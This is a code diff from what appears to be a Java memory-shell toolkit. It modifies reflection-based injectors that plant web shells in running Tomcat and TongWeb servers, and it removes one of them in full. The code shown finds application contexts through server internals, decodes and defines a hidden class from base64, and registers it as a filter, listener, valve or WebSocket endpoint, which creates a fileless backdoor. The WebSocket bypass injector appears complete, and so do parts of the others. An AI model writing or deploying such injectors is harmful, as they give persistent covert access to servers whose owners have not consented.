||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
@@ -90,23 +107,6 @@ public class TomcatValveInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||||
|
|||||||
@@ -1,286 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.tomcat;
|
|
||||||
|
|
||||||
import java.io.ByteArrayInputStream;
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.io.PrintStream;
|
|
||||||
import java.lang.reflect.Constructor;
|
|
||||||
import java.lang.reflect.Field;
|
|
||||||
import java.lang.reflect.Method;
|
|
||||||
import java.util.*;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2026/1/13
|
|
||||||
*/
|
|
||||||
public class TomcatWebSocketByPassInjector {
|
|
||||||
|
|
||||||
private static String msg = "";
|
|
||||||
private static boolean ok = false;
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
|
||||||
return "{{urlPattern}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getClassName() {
|
|
||||||
return "{{className}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getBase64String() {
|
|
||||||
return "{{base64Str}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getHelperBase64String() {
|
|
||||||
return "{{helperBase64String}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public TomcatWebSocketByPassInjector() {
|
|
||||||
if (ok) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
Set<Object> contexts = null;
|
|
||||||
try {
|
|
||||||
contexts = getContext();
|
|
||||||
} catch (Throwable throwable) {
|
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
|
||||||
}
|
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
|
||||||
msg += "context not found";
|
|
||||||
} else {
|
|
||||||
for (Object context : contexts) {
|
|
||||||
try {
|
|
||||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
|
||||||
Object shell = getShell(context);
|
|
||||||
inject(context, shell);
|
|
||||||
msg += "[" + getUrlPattern() + "] ready\n";
|
|
||||||
} catch (Throwable e) {
|
|
||||||
msg += "failed " + getErrorMessage(e) + "\n";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
ok = true;
|
|
||||||
System.out.println(msg);
|
|
||||||
}
|
|
||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
|
||||||
for (Thread thread : threads) {
|
|
||||||
String threadName = thread.getName();
|
|
||||||
if (threadName.contains("ContainerBackgroundProcessor")) {
|
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
|
||||||
for (Object value : childrenMap.values()) {
|
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
|
||||||
contexts.addAll(children.values());
|
|
||||||
}
|
|
||||||
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
|
||||||
try {
|
|
||||||
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
|
||||||
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
|
||||||
for (Object value : childrenMap.values()) {
|
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
|
||||||
contexts.addAll(children.values());
|
|
||||||
}
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
} else if (thread.getContextClassLoader() != null) {
|
|
||||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
|
||||||
if (name.matches(".+WebappClassLoader")) {
|
|
||||||
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
|
||||||
// need WebResourceRoot not DirContext
|
|
||||||
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
|
||||||
Object context = getFieldValue(resources, "context");
|
|
||||||
contexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return contexts;
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
|
||||||
try {
|
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
|
||||||
} catch (Exception e) {
|
|
||||||
Object loader = invokeMethod(context, "getLoader", null, null);
|
|
||||||
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private Object getShell(Object context) throws Exception {
|
|
||||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
|
||||||
Class<?> clazz = null;
|
|
||||||
try {
|
|
||||||
clazz = classLoader.loadClass(getClassName());
|
|
||||||
} catch (Exception e) {
|
|
||||||
clazz = defineShell(classLoader, getBase64String());
|
|
||||||
}
|
|
||||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
|
||||||
|
|
||||||
private Class<?> defineShell(ClassLoader classLoader, String base64) throws Exception {
|
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(base64));
|
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
|
||||||
defineClass.setAccessible(true);
|
|
||||||
return ((Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length));
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
|
||||||
private void inject(Object context, Object obj) throws Exception {
|
|
||||||
Object servletContext = invokeMethod(context, "getServletContext", null, null);
|
|
||||||
Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
|
|
||||||
if (container == null) {
|
|
||||||
container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
|
|
||||||
}
|
|
||||||
|
|
||||||
if (container == null) {
|
|
||||||
throw new RuntimeException("container is null");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
Object valve = defineShell(context.getClass().getClassLoader(), getHelperBase64String()).newInstance();
|
|
||||||
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
|
||||||
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
|
|
||||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
|
||||||
|
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
|
||||||
Class<?> serverEndpointConfigClass;
|
|
||||||
Class<?> builderClass;
|
|
||||||
try {
|
|
||||||
serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
|
|
||||||
builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
|
|
||||||
} catch (ClassNotFoundException e) {
|
|
||||||
serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
|
|
||||||
builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
|
|
||||||
}
|
|
||||||
Constructor<?> constructor = builderClass.getDeclaredConstructor(Class.class, String.class);
|
|
||||||
constructor.setAccessible(true);
|
|
||||||
Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern());
|
|
||||||
Object endpointConfig = invokeMethod(o1, "build", null, null);
|
|
||||||
|
|
||||||
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
|
||||||
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
|
||||||
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String toString() {
|
|
||||||
return msg;
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
|
||||||
Class<?> decoderClass;
|
|
||||||
try {
|
|
||||||
decoderClass = Class.forName("java.util.Base64");
|
|
||||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
|
||||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
|
||||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
|
||||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
|
||||||
GZIPInputStream gzipInputStream = null;
|
|
||||||
try {
|
|
||||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
|
||||||
byte[] buffer = new byte[4096];
|
|
||||||
int n;
|
|
||||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
|
||||||
out.write(buffer, 0, n);
|
|
||||||
}
|
|
||||||
return out.toByteArray();
|
|
||||||
} finally {
|
|
||||||
if (gzipInputStream != null) {
|
|
||||||
gzipInputStream.close();
|
|
||||||
}
|
|
||||||
out.close();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
|
||||||
Method method = null;
|
|
||||||
while (clazz != null && method == null) {
|
|
||||||
try {
|
|
||||||
if (paramClazz == null) {
|
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
|
||||||
} else {
|
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
|
||||||
Class<?> clazz = obj.getClass();
|
|
||||||
while (clazz != Object.class) {
|
|
||||||
try {
|
|
||||||
Field field = clazz.getDeclaredField(name);
|
|
||||||
field.setAccessible(true);
|
|
||||||
return field.get(obj);
|
|
||||||
} catch (NoSuchFieldException var5) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getErrorMessage(Throwable throwable) {
|
|
||||||
PrintStream printStream = null;
|
|
||||||
try {
|
|
||||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
|
||||||
printStream = new PrintStream(outputStream);
|
|
||||||
throwable.printStackTrace(printStream);
|
|
||||||
return outputStream.toString();
|
|
||||||
} finally {
|
|
||||||
if (printStream != null) {
|
|
||||||
printStream.close();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -7,9 +7,7 @@ import java.io.PrintStream;
|
|||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashSet;
|
import java.util.*;
|
||||||
import java.util.Map;
|
|
||||||
import java.util.Set;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -43,7 +41,7 @@ public class TomcatWebSocketInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -61,6 +59,23 @@ public class TomcatWebSocketInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
@@ -98,23 +113,6 @@ public class TomcatWebSocketInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
|||||||
@@ -4,7 +4,6 @@ import java.io.ByteArrayInputStream;
|
|||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Array;
|
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -44,7 +43,7 @@ public class TongWebFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -117,7 +116,7 @@ public class TongWebFilterInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
private ClassLoader getWebAppClassLoader(Object context) {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -150,28 +149,24 @@ public class TongWebFilterInjector {
|
|||||||
String filterClassName = getClassName();
|
String filterClassName = getClassName();
|
||||||
Object filterDef;
|
Object filterDef;
|
||||||
Object filterMap;
|
Object filterMap;
|
||||||
Class<?> filterMapClass;
|
|
||||||
Constructor<?> constructor;
|
Constructor<?> constructor;
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
try {
|
try {
|
||||||
// tongweb 7
|
// tongweb 7
|
||||||
constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
||||||
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
|
filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
|
||||||
filterMap = filterMapClass.newInstance();
|
|
||||||
} catch (Exception e2) {
|
} catch (Exception e2) {
|
||||||
try {
|
try {
|
||||||
// tongweb 6
|
// tongweb 6
|
||||||
constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance();
|
||||||
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap");
|
filterMap = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap").newInstance();
|
||||||
filterMap = filterMapClass.newInstance();
|
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
// tongweb 8
|
// tongweb 8
|
||||||
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
||||||
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
|
filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
|
||||||
filterMap = filterMapClass.newInstance();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||||
@@ -179,13 +174,7 @@ public class TongWebFilterInjector {
|
|||||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||||
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
|
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||||
// addFilterMapFirst
|
|
||||||
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
|
|
||||||
Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
|
|
||||||
results[0] = filterMap;
|
|
||||||
System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
|
|
||||||
setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
|
|
||||||
|
|
||||||
constructor.setAccessible(true);
|
constructor.setAccessible(true);
|
||||||
Object filterConfig = constructor.newInstance(context, filterDef);
|
Object filterConfig = constructor.newInstance(context, filterDef);
|
||||||
@@ -232,58 +221,48 @@ public class TongWebFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
try {
|
||||||
Method method = null;
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
while (clazz != null && method == null) {
|
Method method = null;
|
||||||
try {
|
while (clazz != null && method == null) {
|
||||||
if (paramClazz == null) {
|
try {
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
if (paramClazz == null) {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
} catch (NoSuchMethodException e) {
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
clazz = clazz.getSuperclass();
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
|
||||||
for (Class<?> clazz = obj.getClass();
|
|
||||||
clazz != Object.class;
|
|
||||||
clazz = clazz.getSuperclass()) {
|
|
||||||
try {
|
|
||||||
return clazz.getDeclaredField(name);
|
|
||||||
} catch (NoSuchFieldException ignored) {
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
|
||||||
Field field = getField(obj, name);
|
|
||||||
field.setAccessible(true);
|
|
||||||
return field.get(obj);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
|
||||||
Field field = getField(obj, fieldName);
|
|
||||||
field.setAccessible(true);
|
|
||||||
field.set(obj, value);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getErrorMessage(Throwable throwable) {
|
private String getErrorMessage(Throwable throwable) {
|
||||||
PrintStream printStream = null;
|
PrintStream printStream = null;
|
||||||
|
|||||||
@@ -35,7 +35,7 @@ public class TongWebListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -96,7 +96,7 @@ public class TongWebListenerInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
private ClassLoader getWebAppClassLoader(Object context) {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -218,25 +218,30 @@ public class TongWebListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
try {
|
||||||
Method method = null;
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
while (clazz != null && method == null) {
|
Method method = null;
|
||||||
try {
|
while (clazz != null && method == null) {
|
||||||
if (paramClazz == null) {
|
try {
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
if (paramClazz == null) {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
method.setAccessible(true);
|
|
||||||
